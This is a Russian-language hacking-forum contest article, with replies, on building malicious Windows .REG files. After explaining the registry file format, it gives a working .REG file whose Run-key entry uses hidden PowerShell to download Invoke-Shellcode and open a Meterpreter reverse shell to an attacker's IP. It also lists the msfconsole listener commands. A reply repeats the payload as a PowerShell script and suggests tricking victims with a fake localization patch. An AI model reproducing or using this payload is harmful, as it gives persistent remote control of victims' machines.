Конкурс Вредоносные .REG файлы или как заразить систему имея доступ только к реестру

Статья для участия в конкурсе Codeby!

В этой статье, мы познакомимся со структурой REG-файлов и заодно рассмотрим один из методов создания вредоносных .REG файлов для получения meterpreter сессии.

REG-файлы - служебные текстовые файлы для внесения изменений в реестр Windows. REG-файлы были добавлены в марте 1992 года. Они имеют расширение .reg, а файлы этого типа выглядят так:

1.png


Давайте познакомимся с их структурой поближе. Формат REG-файлов является текстовым, а его структура выглядит вот так:

Код:
Windows Registry Editor Version 5.00
; Коментарии записываются так.

[Адрес1]
"Ключ1"="Значение1"
"Ключ2"="Значение2"
...
"Ключn"="Значениеn"

...
[Адресm]
"Ключl" = "Значениеl"
, где n и l - конечное число ключей, а m - конечное число изменяемых адресов.

Если в значении параметра используются специальные символы, то перед ними должен стоят знак «\» без кавычек. Стоит подметить, что формат REG-файлов напоминает формат ini-файлов, которые использовались для хранения разных данных и настроек. Однако, эпоха ini-файлов прошла с появлением реестра, но в системе эти файлы всё ещё используются (boot.ini, desktop.ini, oleinfo.ini, ...). Довольно простой формат, не так ли?

Давайте создадим REG-файл для более углубленного понимания формата.

1. Создадим на диске файл с форматом .reg.

1.png


2. Откроем его текстовым редактором и запишем следующее:

Код:
Windows Registry Editor Version 5.00 ; Эта строка показывает, что мы используем REG файлы версии 5.0.

[HKEY_LOCAL_MACHINE\Software\Test] ; Указываем адрес, ключи которого мы будем менять.
"Hello"="World" ; Создаём ключ «Hello» со значением «World».
"World"="Hello" ; Создаём ключ «World» со значением «Hello».

3. Сохраняем записанное в файл.

4. Запускаем файл. Видим User Access Control оповещение и следующее за ним предупреждение:

2.png


Это один из минусов этого метода.

5. После подтверждения, REG-файл успешно добавил необходимые значения в реестр:

5.png


Как мы видим, REG-файлы успешно справляются с полученной задачей.

Мы познакомились с их структурой и работой, поэтому теперь мы можем создать кое-что поинтереснее, а именно вредоносный REG-файл, который выдаст нам meterpreter сессию.


1. Создадим на диске файл с форматом .reg.

1.png


2. Откроем его текстовым редактором и запишем следующее:

Код:
Windows Registry Editor Version 5.00 ; Эта строка показывает, что мы используем REG файлы версии 5.0.

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] ; Указываем адрес, ключи которого мы будем менять.
; Эта ветка реестра отвечает за запуск программы сразу после загрузки системы автоматически.
"payload"="powershell.exe -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force" ; Эта команда предоставит нам meterpreter сессию. Вместо 192.168.0.106 и 8007 укажите IP адрес и порт атакующего.

3. Сохраняем вредоносные данные в файл. Вредоносный REG-файл готов.


Подготовимся со стороны атакующего. Нужно всего-лишь запустить Meterpreter listener.

6.png


Последовательность команд для его запуска:
Код:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.0.106
set LPORT 8007
, где вместо 192.168.0.106 и 8007 - IP адрес и порт атакующего.


Проверим работу REG-файла. Запустим вредоносный REG-файл. После запуска REG-файла, нужное значение добавилось в реестр.

7.png


После перезагрузки заражённого ПК нам прилетает Meterpreter сессия.

8.png


На этом всё. Спасибо за внимание!
 
Последнее редактирование:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Для записи в ветке реестра HKLM - нужны права админа или системы...
А вот в ветке сессии текущего юзера HKCU -- запись в реестр должна выполнится даже с лоу прив.
Заставить жертву выполнить слияние файла реестра - немного проблемно, разве что под предлогом русификации к софту или что то в этом роде (соц. инженерия)
Возможно будет кому то полезен комментарий:
На PowerShell добавить в реестр запись можно следующим образом:

$Path="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$payload ="powershell.exe -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString(' link removed Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
New-ItemProperty -Path $Path -Name "payload" -Type REG_SZ -Value $payload
1.gif
 

PingVinich

Технарь
Green Team
19.03.2017
138
512
BIT
0
Для записи в ветке реестра HKLM - нужны права админа или системы...
А вот в ветке сессии текущего юзера HKCU -- запись в реестр должна выполнится даже с лоу прив.
Заставить жертву выполнить слияние файла реестра - немного проблемно, разве что под предлогом русификации к софту или что то в этом роде (соц. инженерия)
Возможно будет кому то полезен комментарий:
На PowerShell добавить в реестр запись можно следующим образом:

$Path="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$payload ="powershell.exe -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString(' link removed Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force"
New-ItemProperty -Path $Path -Name "payload" -Type REG_SZ -Value $payload
В любом случае, REG файлы требуют прав админа и подтверждения UAC. Во-вторых, был расскрыта техника создания таких файлов. Он не обязательно может идти в дело как троян, а как нагрузку к какому нибудь эксплойту или уязвимости. Вообщем, варианты реализации выбирайте на свой вкус и цвет :).
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!